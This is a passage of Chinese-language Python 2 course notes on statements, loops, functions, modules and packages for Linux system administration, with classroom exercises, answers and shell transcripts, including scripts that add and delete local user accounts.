51 | 4. 缩进的结束就是代码块的结束 52 | 5. 特殊实例`if x > y : print(x)`,只有简单语句才可 53 | 6. 建议单个制表符,两个或四个空格的缩进,不要混合使用制表符和空格 54 | 55 | 56 | ### 赋值、表达式和打印 57 | 58 | * 赋值语句建立对象引用值 phython变量更像指针,而不是数据存储区域 59 | * 变量名在首次赋值时会被创建 60 | * 变量名在引用前必须先赋值 61 | * 执行隐式赋值的一些操作 62 | 63 | #### 赋值语句的形式 64 | 65 | |运算|解释| 66 | |:--|:--| 67 | |`spam = 'Spam'`|基本形式| 68 | |`spam,ham = 'yum','YUM'`|元组赋值运算| 69 | |`[spam,ham] = ['yum','YUM']`|列表赋值运算| 70 | |`a,b,c,d = 'spam'`|序列赋值运算,通用性| 71 | |`a,*b = 'spam'`|扩展的序列解包python3.0| 72 | |`spam = ham = 'lunch'`|多目标赋值运算| 73 | |`spams += 42`|增强赋值运算相当于`spams = spams + 42`| 74 | 75 | 76 | #### 表达式语句 77 | 78 | 通常在两种情况下表达式作用于语句: 79 | * 调用函数和方法 80 | * 爱交互模式提示符下打印值 81 | 82 | 常见的ython表达式语句 83 | 84 | |运算|解释| 85 | |:--|:--| 86 | |spam(eggs,ham)|函数调用| 87 | |spam.ham(eggs)|方法调用| 88 | |spam|在交互模式解释器内打印变量| 89 | |print(a,b,c,sep='')|python3.0中的打印操作| 90 | |yield x ** 2|产生表达式的语句| 91 | 92 | 93 | #### 打印操作 94 | 95 | 在python中,print语句可以实现打印————只是对程序员友好的标准输出流的接口而已。 96 | 97 | 从技术角度,就是将一个或多个对象转化为其文本表达形式,然后发送给标准输出或另一个类似文件的流。 98 | python中,打印与文件和流的概念紧密相连。 99 | 100 | * 文件对象法 eg.写入文件 `file.wirte(str)` 和文件方法不同,在使用打印操作的时候,不需要把对象转换成字符串 101 | * 标准输出流 stdout 只是发送一个程序的文本输出的默认地方。eg. `sys.stdout` 102 | 103 | 打印是python3.0和python2.6差异最明显的地方之一。 104 | 105 | * python3.0中,打印是一个内置函数,用关键字参数来表示特定模式 106 | * python2.6中,打印是语句,拥有自己的特定语法 107 | 108 | ##### python3.0 109 | 110 | `print([object, ...][,sep=' '][, end='\n'][, file=sys.stdout])` 111 | 112 | * 方括号中的项为可选的,并且可能会在一个给丁的调用中省略 113 | * =后面的值都给出了参数的默认值 114 | * 把字符串sep所分隔的一个或多个对象的文本表示 115 | * 后面跟着的字符串end,都打印到流file中 116 | 117 | ##### python2.6 118 | 119 | `print_stmt ::= "print" ([expression ("," expression)* [","]]` 120 | ` | ">>" expression [("," expression)+ [","]])` 121 | 122 | 123 | |python2.6语句| python3.0对等形式 |说明| 124 | |:--|:--|:--| 125 | |print x,y|print(x,y)|把对象的文本形式打印到sys.stdout,在各项之间添加一个空格,在末尾添加一个行末。| 126 | |print x,y,|print(x,y,end='')|同样,但是不会在文本末尾添加行末| 127 | |print >> afile,x,y|print(x,y,file=afile)|把文本发送到myfile.write而不是sys.stdout.write| 128 | 129 | 130 | ##### 打印流重定向 131 | 132 | print语句值是python的人性化地特性,提供了sys.stdout对象地简单接口,再加上一些默认地格式设置。 133 | 134 | ```python 135 | In [2]: print "hello" 136 | hello 137 | 138 | In [3]: import sys 139 | 140 | In [4]: sys.stdout.write('hello') 141 | hello 142 | In [5]: sys.stdout.write('hello\n') 143 | hello 144 | 145 | ``` 146 | 147 | `print x,y` 等价于 148 | ```python 149 | import sys 150 | sys.stdout.write(str(X)+' '+str(Y)+'\n') 151 | ``` 152 | 153 | >> 往文件log.txt中追加内容 2.6 154 | 155 | ```python 156 | In [7]: log=open('log.txt','a') 157 | 158 | In [8]: print >> log,'hello word' 159 | 160 | In [9]: log.close() 161 | 162 | In [10]: open('log.txt').read() 163 | Out[10]: '123\nhello word\n' 164 | 165 | In [11]: print open('log.txt').read() 166 | 123 167 | hello word 168 | 169 | ``` 170 | 171 | ##### 格式化打印 172 | 173 | ```python 174 | In [12]: x='a' 175 | 176 | In [13]: y='b' 177 | 178 | In [14]: z='c' 179 | 180 | In [15]: print('%s %s %s' % (x,y,z)) 181 | a b c 182 | 183 | In [16]: print('{0} {1} {2}'.format(x,y,z)) 184 | a b c 185 | ``` 186 | 187 | 188 | ##### 课堂练习 189 | 190 | >> ipython2.7中完成 191 | 192 | 1. 举出三种可以把三个变量赋值成相同值的方法 193 | 2. 打印出hello word,分别使用sys.stdou()和print 194 | 3. 将hello word追加到文件myfile.txt中,并输出myfile.txt的所有行 195 | 196 | 197 | >> 答案 198 | 199 | 1. `a=b=c=0` 或`a=0;b=0;c=0`或`a,b,c=0,0,0` 200 | 2. 201 | ```python 202 | print "hello word" 203 | import sys 204 | sys.stdout.write('hello'+' '+'word'+'\n') 205 | ``` 206 | 3. 207 | ```python 208 | myfile=open('myfile.txt','a') 209 | print >> myfile,"hello word" 210 | myfile.close() 211 | print open('myfile.txt','r').read() 212 | ``` 213 | 214 | 215 | --- 216 | 217 | ### if 218 | 219 | #### 语法格式 220 | 221 | ```python 222 | if : 223 | 224 | elif : 225 | 226 | else: 227 | 228 | ``` 229 | 230 | #### 判断 231 | 232 | |数字的判断|符号| 233 | |:--|:--| 234 | |等于|==| 235 | |大于|>| 236 | |小于|<| 237 | |大于等于|>=| 238 | |小于等于|<=| 239 | |不等于|!=| 240 | 241 | |字符的判断|符号| 242 | |:--|:--| 243 | |等于|==| 244 | |包含|in| 245 | |不包含|not in| 246 | 247 | |逻辑运算|符号| 248 | |:--|:--| 249 | |与|and| 250 | |或|or| 251 | 252 | 253 | #### 课堂练习 254 | 255 | 1. 写一个脚本,判断用户是否存在,如果存在则删除。若不存在,就提示不存在。 256 | 2. 三个数字比大小,输出最大的 257 | 3. 三个数字比大小,并且按从大到小排列 258 | 259 | ```python 260 | 1. 261 | #!/usr/bin/env python 262 | import subprocess 263 | test=subprocess.call(['id','booboo']) 264 | if test==0: 265 | subprocess.call(['userdel','-r','booboo']) 266 | else: 267 | print('no such user') 268 | 269 | 270 | 2. 271 | #!/usr/bin/env python 272 | a = raw_input("plz input a:") 273 | b = raw_input("plz input b:") 274 | c = raw_input("plz input c:") 275 | 276 | if a>b: 277 | if a>c: 278 | print('max is %s' % a) 279 | else: 280 | print('max is %s' % c) 281 | else: 282 | if b>c: 283 | print('max is %s' % b) 284 | else: 285 | print('max is %s' % c) 286 | 287 | #!/usr/bin/env python 288 | a = raw_input("plz input a:") 289 | b = raw_input("plz input b:") 290 | c = raw_input("plz input c:") 291 | num_list = [a,b,c] 292 | max = 0 293 | for i in num_list: 294 | if i > max: 295 | max = i 296 | print('max={0}'.format(max)) 297 | 298 | 3. 299 | #!/usr/bin/env python 300 | a=3 301 | b=9 302 | c=0 303 | if a>b : 304 | n1=a 305 | n2=b 306 | else: 307 | n1=b 308 | n2=a 309 | 310 | if n1>c: 311 | max=n1 312 | if n2>c: 313 | be=n2 314 | min=c 315 | else: 316 | be=c 317 | min=n2 318 | else: 319 | max=c 320 | be=n1 321 | min=n2 322 | 323 | print('{0}>{1}>{2}'.format(max,be,min)) 324 | c=0 325 | if a>b : 326 | n1=a 327 | n2=b 328 | else: 329 | n1=b 330 | n2=a 331 | 332 | if n1>c: 333 | max=n1 334 | if n2>c: 335 | be=n2 336 | min=c 337 | else: 338 | be=c 339 | min=n2 340 | else: 341 | max=c 342 | be=n1 343 | min=n2 344 | 345 | print('{0}>{1}>{2}'.format(max,be,min)) 346 | ``` 347 | 348 | ### for 349 | 350 | #### 语法格式 351 | 352 | ```python 353 | for in 354 | 355 | else: 356 | 357 | ``` 358 | 359 | #### 课堂练习 360 | 361 | 1. 9*9乘法表 362 | 363 | ```python 364 | import sys 365 | for i in range(1,10): 366 | for j in range(1,i+1): 367 | sys.stdout.write('{0}*{1}={2} '.format(i,j,i*j)) 368 | print('') 369 | 370 | 1*1=1 371 | 2*1=2 2*2=4 372 | 3*1=3 3*2=6 3*3=9 373 | 4*1=4 4*2=8 4*3=12 4*4=16 374 | 5*1=5 5*2=10 5*3=15 5*4=20 5*5=25 375 | 6*1=6 6*2=12 6*3=18 6*4=24 6*5=30 6*6=36 376 | 7*1=7 7*2=14 7*3=21 7*4=28 7*5=35 7*6=42 7*7=49 377 | 8*1=8 8*2=16 8*3=24 8*4=32 8*5=40 8*6=48 8*7=56 8*8=64 378 | 9*1=9 9*2=18 9*3=27 9*4=36 9*5=45 9*6=54 9*7=63 9*8=72 9*9=81 379 | ``` 380 | 381 | 2. 遍历字典中的键和值 382 | 383 | ```python 384 | #!/usr/bin/env python 385 | D = {'username':'superman','age':22,'mail':'superman@hotmail.com'} 386 | for key in D: 387 | print('{0}===>{1}'.format(key,D[key])) 388 | 389 | 执行结果 390 | username===>superman 391 | mail===>superman@hotmail.com 392 | age===>22 393 | ``` 394 | 使用字典的items()方法来实现 395 | ```python 396 | In [321]: for key,value in dict.items(): 397 | .....: print("dict[{0}]={1}".format(key,value)) 398 | .....: 399 | dict[a]=1 400 | dict[b]=2 401 | ``` 402 | 403 | 3. 逐行读取文本文件 404 | 405 | ```python 406 | #!/usr/bin/env python 407 | for line in open('test.txt').readlines(): 408 | print line, 409 | for line in open('test.txt'): 410 | print line, 411 | ``` 412 | 413 | * 文件readlines方法会一次把文件载入到行字符串的列表 414 | * 第二种方法时使用文件迭代器来自动在每次循环迭代的时候读入一行 415 | 416 | ### while 417 | 418 | #### 语法格式 419 | 420 | ```python 421 | while : 422 | 423 | else: 424 | 425 | ``` 426 | 427 | #### 课堂练习 428 | 429 | 1. 连乘算法 while 430 | 431 | ```python 432 | #!/usr/bin/env python 433 | import sys 434 | import string 435 | n_str=sys.argv[1] 436 | n=string.atoi(n_str) 437 | s=1 438 | i=1 439 | while i<=n: 440 | s=s*i 441 | i=i+1 442 | print s 443 | ``` 444 | 445 | 2. 要求根据userlist创建用户,要求指定用户名,用户id,用户的附加组及变更用户u密码,若对应用户的附加组不存在,则将附加组创建出来后再根据要求添加用户。 446 | userlist文件的格式如下: 447 | 448 | carol 777 tom uplooking 449 | 450 | natasha 778 tom uplooking 451 | 452 | r1 779 tom uplooking 453 | 454 | ```python 455 | #!/usr/bin/env python 456 | from subprocess import * 457 | from cStringIO import StringIO 458 | file_string=open('/root/userlist','r').read() 459 | file_line=StringIO(file_string) 460 | for line in file_line: 461 | line_list=line.strip().split(' ') 462 | call(['groupadd',line_list[2]]) 463 | call(['useradd','-u',line_list[1],'-G',line_list[2],line_list[0]]) 464 | p1=Popen(['echo',line_list[3]],stdout=PIPE) 465 | p2=Popen(['passwd','--stdin',line_list[0]],stdin=p1.stdout,stdout=PIPE) 466 | call(['id',line_list[0]]) 467 | ``` 468 | 469 | 470 | 3. 请问你是否喜欢shell脚本? 如果你回答yes,则程序退出,否则永远会问你是否喜欢shell脚本? 471 | 472 | ```python 473 | #!/usr/bin/env python 474 | an=raw_input('Do you like python?(plz input yes) : ') 475 | while an != "yes": 476 | if an == "yes": 477 | print('I like python too!') 478 | if an != "yes" : 479 | an=raw_input('Do you like python?(plz input yes) : ') 480 | ``` 481 | 482 | 483 | ### break\continue\pass和循环else 484 | 485 | * break 跳出最近所在的循环(跳过整个循环语句) 486 | * continue 跳到最近所在循环的开头处(来到循环的首行) 487 | * pass 什么事情也不做,只是空占位语句 488 | * 循环else块 只有当循环正常离开时才会执行(也就是说没有碰到break语句) 489 | 490 | break和continue可以出现在while或for循环主体的任何地方,但通常会进一步嵌套if语句中。 491 | 492 | 加入break和continue语句后,它们的一般格式为: 493 | 494 | ```python 495 | while : 496 | 497 | if : break 498 | if : continue 499 | else: 500 | 501 | ``` 502 | 503 | pass的使用场景: 504 | 505 | ```python 506 | while true: pass 507 | 508 | def func1(): 509 | pass 510 | def func2(): 511 | pass 512 | ``` 513 | 514 | ### 循环计数器:range 515 | 516 | * range函数是通用的工具,range会产生从0算起的数据列表,但其中不包括该参数的值。 517 | * 如果传进两个参数,第一个将视为下边界,第三个选用参数也一提供步进值。 518 | * 对每个连续整数加上步进值从而得到结果,默认为1 519 | 520 | ```python 521 | In [41]: range(5) 522 | Out[41]: [0, 1, 2, 3, 4] 523 | 524 | In [42]: range(1,5) 525 | Out[42]: [1, 2, 3, 4] 526 | 527 | In [43]: range(1,5,2) 528 | Out[43]: [1, 3] 529 | 530 | In [44]: range(5,1,-1) 531 | Out[44]: [5, 4, 3, 2] 532 | 533 | In [45]: range(5,1,-2) 534 | Out[45]: [5, 3] 535 | 536 | In [50]: for i in x: print('hello {0}'.format(i)) 537 | hello h 538 | hello e 539 | hello l 540 | hello l 541 | hello o 542 | 543 | ``` 544 | 545 | 课堂练习 546 | 547 | 1. 将列表`L=[1,2,3,4]`中的每个值都加`2` 548 | 549 | ```python 550 | In [60]: L=[1, 2, 3, 4] 551 | 552 | In [61]: for i in range(len(L)): 553 | ....: L[i]+=2 554 | ....: 555 | 556 | In [62]: L 557 | Out[62]: [3, 4, 5, 6] 558 | ``` 559 | 560 | ### 课堂练习 561 | 562 | 1. 写一个for循环,打印字符串`S='batman'`中的每个字符的`ASCII码`。使用内置函数`ord(character)`把每个字符转换成ASCII整数。 563 | 2. 接着,修改循环来计算字符串中每个字符的ASCII码的总和 564 | 3. 最后,再次修改代码,来返回一个新的列表,其中包含了字符串中每个字符的ASCII码。 565 | 566 | ```python 567 | In [8]: S='batman' 568 | 569 | In [9]: for i in S: print ord(i) 570 | 98 571 | 97 572 | 116 573 | 109 574 | 97 575 | 110 576 | 577 | In [11]: sum = 0 578 | 579 | In [12]: for i in S: 580 | ....: sum = sum + ord(i) 581 | ....: 582 | 583 | In [13]: print sum 584 | 627 585 | 586 | In [15]: list=[] 587 | 588 | In [16]: for i in S:list.append(ord(i)) 589 | 590 | In [17]: list 591 | Out[17]: [98, 97, 116, 109, 97, 110] 592 | ``` 593 | 594 | 4. 写一个for循环,对数字0到49,分别问好 `hello 0`一直到`hello 49` 595 | 596 | ```python 597 | for i in range(50): 598 | print('hello %d' % i) 599 | ``` 600 | 601 | 5. 写一个for循环排序后(递增)顺序打印字典dic={'a':9,'c':8,'b':2}的项目。提示:使用字典keys和列表sort方法,或者sorted内置函数 602 | 603 | ```python 604 | >>> dic={'a':9,'c':8,'b':2} 605 | >>> for i in sorted(dic): 606 | ... print i,dic[i] 607 | ... 608 | a 9 609 | b 2 610 | c 8 611 | ``` 612 | 613 | --- 614 | 615 | ### 函数 616 | 617 | #### 函数的定义和调用 618 | 619 | 做代码复用 620 | 621 | 定义: 622 | ```python 623 | def say_hello(): 624 | print('hello world') 625 | ``` 626 | 调用: 627 | ```python 628 | say_hello() 629 | ``` 630 | 631 | > 课堂练习:写一个函数输出hello,并调用该函数 632 | 633 | ```shell 634 | [root@workstation0 ~]# python h1.py 635 | hello 636 | [root@workstation0 ~]# cat h1.py 637 | def say_hello(): 638 | print('hello') 639 | say_hello() 640 | ``` 641 | 642 | 643 | #### 参数 644 | 645 | 可以通过参数向函数传递数据。 646 | 647 | > 课堂练习:写一个函数,比较两个数字大小,谁大输出谁,相等就输出相等。 648 | 649 | ```python 650 | def print_max(a, b): 651 | if a > b: 652 | print('{0} is maximum'.format(a)) 653 | elif a == b: 654 | print('{0} is equal to {1}'.format(a, b)) 655 | else: 656 | print('{0} is maximum'.format(b)) 657 | print_max(3, 4) 658 | ``` 659 | 660 | ```python 661 | print_max(3, '4') 662 | print_max('3', 4) 663 | ``` 664 | 665 | ```shell 666 | [root@workstation0 ~]# python h2.py 667 | 4 is maximum 668 | 4 is maximum 669 | 3 is masimum 670 | [root@workstation0 ~]# cat h2.py 671 | def print_max(a,b): 672 | if a>b: 673 | print('{0} is masimum'.format(a)) 674 | elif a==b: 675 | print('{0} is equal to {1}'.format(a,b)) 676 | else: 677 | print('{0} is maximum'.format(b)) 678 | print_max(3,4) 679 | print_max(3,'4') 680 | print_max('3',4) 681 | ``` 682 | 683 | 684 | #### 局部变量 685 | 686 | * 在函数体内定义的变量称为局部变量。 687 | * 局部变量在函数执行时产生,在函数结束时消亡。函数外无法看到局部变量。 688 | * 参数可视为一种局部变量。 689 | * 对局部变量的修改不影响全局变量。 690 | 691 | > 课堂练习:设置全局变量`x=50`,函数`func1()`中设定局部变量`x=2`,并打印x变量的值;函数`func2(X)`打印x变量的值;调用函数`func1()`和`func2(3)`以及直接输出`x`,查看并分析结果。 692 | 693 | ```shell 694 | [root@workstation0 ~]# cat h3.sh 695 | x=50 696 | def func1(): 697 | x=2 698 | print('local x is {0}'.format(x)) 699 | def func2(x): 700 | print('local x is {0}'.format(x)) 701 | func1() 702 | func2(3) 703 | print(x) 704 | [root@workstation0 ~]# python h3.sh 705 | local x is 2 706 | local x is 3 707 | 50 708 | ``` 709 | 710 | 711 | #### 全局变量 712 | 713 | * 在模块内定义的变量叫全局变量。 714 | * 全局变量在全局可见,函数体内可以引用全局变量。 715 | * 函数可以用global关键字声明某变量是全局的。 716 | 717 | > 课堂练习: 全局变量x=50,在函数func()中的局部变量x=2,查看程序执行结果。 718 | 719 | ```shell 720 | [root@workstation0 ~]# cat h4.sh 721 | x = 50 722 | def func(): 723 | global x 724 | print('x is {0}'.format(x)) 725 | x = 2 726 | print('Changed x to {0}'.format(x)) 727 | print('x is {0} before function.'.format(x)) 728 | func() 729 | print('x is {0} after function.'.format(x)) 730 | [root@workstation0 ~]# python h4.sh 731 | x is 50 before function. 732 | x is 50 733 | Changed x to 2 734 | x is 2 after function. 735 | ``` 736 | 737 | 局部变量覆盖了全局变量 738 | 739 | 740 | #### 作用域 741 | 742 | * 变量可见的范围叫做变量的作用域。 743 | * 局部变量的作用域在函数内,全局变量的作用域在模块内(关于模块后文会讲)。 744 | * 作用域的基本原则是,内层作用域可访问外层作用域的变量,反之外层不可访问内层变量。 745 | * 如果两个作用域内有同一个名字,那么内层的起作用。 746 | 747 | #### Unbound异常 748 | 749 | * python内的“local中有变量定义”,是以local中存在对变量构建的语法(例如赋值)为标准的。 750 | * 这个构建语法所在行可能尚未执行(或永远无法执行到),但是这并不影响“local中有变量定义”这个事实。 751 | 752 | > 当local中定义了变量,但是变量尚未完成构建时,对变量做引用,会发生什么? 753 | 754 | 755 | ```shell 756 | [root@workstation0 ~]# cat h5.sh 757 | my_variable = 1 758 | 759 | def func(): 760 | print(my_variable) 761 | my_variable = 2 762 | 763 | func() 764 | [root@workstation0 ~]# python h5.sh 765 | Traceback (most recent call last): 766 | File "h5.sh", line 7, in 767 | func() 768 | File "h5.sh", line 4, in func 769 | print(my_variable) 770 | UnboundLocalError: local variable 'my_variable' referenced before assignment 771 | ``` 772 | 773 | 774 | #### 参数默认值 775 | 776 | * 函数定义时,可以给参数一个值。当调用时,该参数并未给出的情况下,使用默认值。 777 | * 提示:从安全性角度来说,不要使用可变对象作为参数默认值。 778 | 779 | > 课堂练习:写一个函数,重复说话,默认只说1遍。`say(message, times=1)`其中message是要说的话,times是说的次数 780 | 781 | ```python 782 | def say(message, times=1): 783 | print(message * times) 784 | 785 | say('Hello') 786 | say('World', 5) 787 | 执行结果: 788 | Hello 789 | WorldWorldWorldWorldWorld 790 | ``` 791 | 792 | 遇到希望使用可变对象作为参数默认值的情况,需要使用None作为默认值。 793 | 794 | 在函数中判断是否为None,是的话再对参数做默认值赋值处理。 795 | 796 | 以此模式来避免上述问题。 797 | 798 | 799 | #### 返回值 800 | 801 | * 将函数内数据传递回去。 802 | 803 | > 课堂练习:写一个函数实现两个数字比大小,返回最大值,否则返回一样大。 804 | 805 | ```shell 806 | [root@workstation0 ~]# cat h7.py 807 | def maximum(x, y): 808 | if x > y: 809 | return x 810 | elif x == y: 811 | return 'The numbers are equal' 812 | else: 813 | return y 814 | 815 | print(maximum(2, 3)) 816 | print(maximum(2, 2)) 817 | [root@workstation0 ~]# python h7.py 818 | 3 819 | The numbers are equal 820 | ``` 821 | 822 | 823 | #### 多值返回 824 | 825 | * Python允许一次返回多个值。 826 | * 多值返回的本质是使用tuple中转(后面详细讲解)。 827 | 828 | > 课堂练习: 函数`f()`返回多个值`1,2,3,4,5`,观察`print (f())`和`a,b,c,d,e = f();print(c)`的结果 829 | 830 | ```shell 831 | [root@workstation0 ~]# cat h8.py 832 | def f(): 833 | return 1,2,3,4,5 834 | print (f()) 835 | 836 | a,b,c,d,e = f() 837 | print(c) 838 | [root@workstation0 ~]# python h8.py 839 | (1, 2, 3, 4, 5) 840 | 3 841 | ``` 842 | 843 | 844 | #### Doc 845 | 846 | * Python允许为每个函数增加一个文档字符串,这个文档字符串可以被代码访问。 847 | * 具体方式是,在函数的第一个逻辑行定义一个字符串(不执行任何操作)。 848 | * 访问方式是function.__doc__。 849 | 850 | > 课堂练习: 函数`print_max(x, y)`求两个数的最大值,为该函数写一个文档字符串,并访问该文档字符串。 851 | 852 | ```shell 853 | [root@workstation0 ~]# cat h9.py 854 | def print_max(x, y): 855 | '''Prints the maximum of two numbers. \nThe two values must be integers.''' 856 | x = int(x) 857 | y = int(y) 858 | if x > y: 859 | print('{} is maximum'.format(x)) 860 | else: 861 | print('{} is maximum'.format(y)) 862 | 863 | print_max(3, 5) 864 | print(print_max.__doc__) 865 | [root@workstation0 ~]# python h9.py 866 | 5 is maximum 867 | Prints the maximum of two numbers. 868 | The two values must be integers. 869 | ``` 870 | 871 | 872 | #### Lambda 873 | 874 | * 一种快速定义简单函数的方法。 875 | * 函数名=lambada 变量名: return 876 | 877 | 函数格式: 878 | 879 | * lambda_form ::= "lambda" [parameter_list]: expression 880 | * old_lambda_form ::= "lambda" [parameter_list]: old_expression 881 | 882 | > 课堂练习:写一个函数实现数字加1的结果,函数名为`inc(n)`,返回`n+1`。 883 | ```shell 884 | [root@workstation0 ~]# cat h10.py 885 | def inc(n): 886 | return n+1 887 | print(inc(10)) 888 | 889 | # 函数名=lambada 变量名: return 890 | inc = lambda n: n+1 891 | print(inc(10)) 892 | [root@workstation0 ~]# python h10.py 893 | 11 894 | 11 895 | ``` 896 | 897 | 898 | #### 练习 899 | 900 | 定义fib函数。 901 | 902 | 输入n,fib的输出为数列第n项的值。 903 | 904 | 数列某项等于前两项之和。 905 | 906 | ```python 907 | def fib(n): 908 | if n <= 1: return 1 909 | return fib(n-1) + fib(n-2) 910 | 911 | fib(10) 912 | ``` 913 | 914 | 输出为数列第n项以及之前所有项的值 915 | ```python 916 | In [21]: list=[] 917 | 918 | In [22]: for i in range(11): 919 | ....: list.append(fib(i)) 920 | ....: 921 | 922 | In [24]: print list 923 | [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] 924 | 925 | In [25]: list1=[fib(i) for i in range(11)] 926 | 927 | In [26]: list1 928 | Out[26]: [1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89] 929 | ``` 930 | -------------------------------------------------------------------------------- /04-python.md: -------------------------------------------------------------------------------- 1 | # Python 脚本编程及系统大规模自动化运维-Python模块 2 | 3 | [TOC] 4 | 5 | ## 模块 6 | 7 | 8 | ### Module 9 | 10 | 预先写好的代码,供其他代码使用。 11 | 12 | 一个module是一个独立文件。 13 | 14 | 每个module拥有自己的全局变量空间。数据定义,函数,均定义在其中。 15 | 16 | ```python 17 | %%writefile testmod.py 18 | varible1 = 1 19 | varible2 = 2 20 | 21 | def add(a, b): 22 | return a+b 23 | 24 | if __name__ == '__main__': 25 | print('run as script') 26 | ``` 27 | Writing testmod.py 28 | 29 | ```python 30 | !ls -l testmod.py 31 | ``` 32 | -rw-r--r-- 1 shell shell 111 9月 6 13:03 testmod.py 33 | 34 | 35 | 36 | ### import 37 | 38 | import引入某个module对象,可使用module.name的方式引用它的全局变量。 39 | 40 | ```python 41 | import testmod 42 | testmod.varible1 43 | ``` 44 | 45 | 1 46 | 47 | ### from import 48 | 49 | from import引入模块中的某个(或全部)变量。 50 | 51 | 被引入变量不需要module.name来访问,仅需要name。 52 | 53 | 注意:不推荐引入全部变量,会引起名称空间污染。 54 | 55 | ```python 56 | from testmod import varible2 57 | varible2 58 | ``` 59 | 60 | 2 61 | 62 | 63 | ### dir 64 | 65 | 列出某个模块的所有变量。 66 | ```python 67 | import testmod 68 | dir(testmod) 69 | ``` 70 | 71 | ['__builtins__', 72 | '__doc__', 73 | '__file__', 74 | '__name__', 75 | '__package__', 76 | 'add', 77 | 'varible1', 78 | 'varible2'] 79 | 80 | 81 | ### 模块预编译 82 | 83 | 当import时,python会试图去编译出pyc文件来。 84 | 85 | pyc是被编译过的py文件,加载pyc文件可以跳过语法解析过程。 86 | 87 | 当py日期新于pyc时,重新生成pyc。所以日期紊乱可能导致执行老代码。 88 | 89 | 在Python3(3.2以后)中,会在当前目录下生成__pycache__目录,来缓存pyc文件。 90 | 91 | 这样可以避免多个Python解释器无法互相载入对方的pyc文件。 92 | 93 | 具体可以参考这里: https://docs.python.org/3/whatsnew/3.2.html 94 | 95 | 96 | ### __name__属性 97 | 98 | 模块有一个属性,__name__。当这个属性为'__main__'时,说明当前模块被作为脚本运行。 99 | 100 | 模块被作为以脚本运行时,不生成pyc文件(因为不是import)。 101 | 102 | ```shell 103 | [root@workstation0 ~]# vim /root/pythondir/a.py 104 | #!/usr/bin/env python 105 | def max(x,y): 106 | if x>y:return x 107 | else:return y 108 | if __name__=="__main__": 109 | print max(2,1) 110 | [root@workstation0 ~]# python a.py 111 | 2 112 | [root@workstation0 ~]# ls 113 | a.py 114 | [root@workstation0 ~]# python 115 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 116 | [GCC 4.8.3 20140911 (Red Hat 4.8.3-9)] on linux2 117 | Type "help", "copyright", "credits" or "license" for more information. 118 | >>> import a 119 | >>> dir(a) 120 | ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'max'] 121 | >>> a.max 122 | 123 | >>> a.max(3,4) 124 | 4 125 | >>> a.max(5,2) 126 | 5 127 | >>> exit() 128 | [root@workstation0 ~]# ll 129 | total 8 130 | -rw-rw-r-- 1 root root 111 Nov 17 12:09 a.py 131 | -rw-rw-r-- 1 root root 290 Nov 17 12:11 a.py 132 | 133 | [root@workstation0 ~]# vim b.py 134 | #!/usr/bin/env python 135 | def min(x,y): 136 | if x>> import b 152 | >>> dir(b) 153 | ['__builtins__', '__doc__', '__file__', '__name__', '__package__', 'min'] 154 | >>> b.min(4,1) 155 | 1 156 | >>> exit() 157 | [root@workstation0 ~]# ll 158 | total 16 159 | -rw-rw-r-- 1 kiosk kiosk 111 Nov 17 12:09 a.py 160 | -rw-rw-r-- 1 kiosk kiosk 290 Nov 17 12:11 a.pyc 161 | -rw-rw-r-- 1 kiosk kiosk 110 Nov 17 12:17 b.py 162 | -rw-rw-r-- 1 kiosk kiosk 290 Nov 17 12:17 b.pyc 163 | ``` 164 | 165 | ### package 166 | 167 | 到目前为止,你一定已经开始看到了组织你的程序的层次。变量通常在函数内部 168 | 运行。函数和全局变量通常在模块内部运行。如果你想自己组织模块呢?那" 包" 就 169 | 会进入到你的视野中。 170 | 171 | 包是模块的文件夹,有一个特殊的 __init__.py 文件,用来表明这个文件夹是特殊 172 | 的因为其包含有 Python 模块。 173 | 174 | 加入你想创建一个叫做’world’ 的包,有子包’asia’,’africa’ 等等,并且,这些子包 175 | 又包含模块,如’india’,’madagascar’ 等等。 176 | 177 | * 从组织结构上说,package是比modules更大一级的结构。 178 | * 一个package里可以包含多个modules和packages。 179 | 180 | > 课堂练习:创建一个pythondir包,其中包含了模块a和模块b 181 | 182 | ```bash 183 | [root@workstation0 ~]# touch /root/pythondir/__init__.py 184 | [root@workstation0 ~]# ipython 185 | In [2]: import sys 186 | 187 | In [3]: print sys.path 188 | ['', '/usr/bin', '/usr/lib64/python27.zip', '/usr/lib64/python2.7', '/usr/lib64/python2.7/plat-linux2', '/usr/lib64/python2.7/lib-tk', '/usr/lib64/python2.7/lib-old', '/usr/lib64/python2.7/lib-dynload', '/usr/lib64/python2.7/site-packages', '/usr/lib64/python2.7/site-packages/gtk-2.0', '/usr/lib/python2.7/site-packages', '/usr/lib/python2.7/site-packages/IPython/extensions'] 189 | 190 | [root@workstation0 ~]# ipython 191 | Python 2.7.5 (default, Oct 11 2015, 17:47:16) 192 | Type "copyright", "credits" or "license" for more information. 193 | 194 | IPython 0.13.1 -- An enhanced Interactive Python. 195 | ? -> Introduction and overview of IPython's features. 196 | %quickref -> Quick reference. 197 | help -> Python's own help system. 198 | object? -> Details about 'object', use 'object??' for extra details. 199 | 200 | In [1]: import pythondir.a 201 | 202 | In [2]: pythondir.a.max(1,2) 203 | Out[2]: 2 204 | 205 | In [3]: import pythondir.b 206 | 207 | In [4]: pythondir.b.min(1,2) 208 | Out[4]: 1 209 | ``` 210 | 211 | 212 | 213 | ### 练习 214 | 215 | * 导入系统sys模块 216 | * 列出sys模块中以s开头并且以e结尾的成员。 217 | 218 | 219 | ```shell 220 | [root@workstation0 ~]# cat m2.py 221 | import sys 222 | for i in dir(sys): 223 | if i.startswith('s') and i.endswith('e'): 224 | print(i) 225 | 226 | [root@workstation0 ~]# python m2.py 227 | setprofile 228 | settrace 229 | ``` 230 | 231 | 232 | ## 第三方软件安装 233 | 234 | 两套基本系统: 235 | 236 | setuptools 237 | pip 238 | 239 | booboo:根据不同的需求,我们可能需要安装不同的第三方软件包(python模块) 240 | 241 | ### setuptools 242 | 243 | 系统中必须安装了setuptools 244 | ```shell 245 | [root@workstation0 tmp]# yum list|grep setuptools 246 | Repodata is over 2 weeks old. Install yum-cron? Or run: yum makecache fast 247 | python-setuptools.noarch 0.9.8-4.el7 @anaconda/7.2 248 | [root@workstation0 tmp]# rpm -q python-setuptools 249 | python-setuptools-0.9.8-4.el7.noarch 250 | [root@workstation0 tmp]# rpm -qi python-setuptools 251 | Name : python-setuptools 252 | Version : 0.9.8 253 | Release : 4.el7 254 | Architecture: noarch 255 | Install Date: Wed 04 May 2016 02:39:11 AM CST 256 | Group : Applications/System 257 | Size : 2041356 258 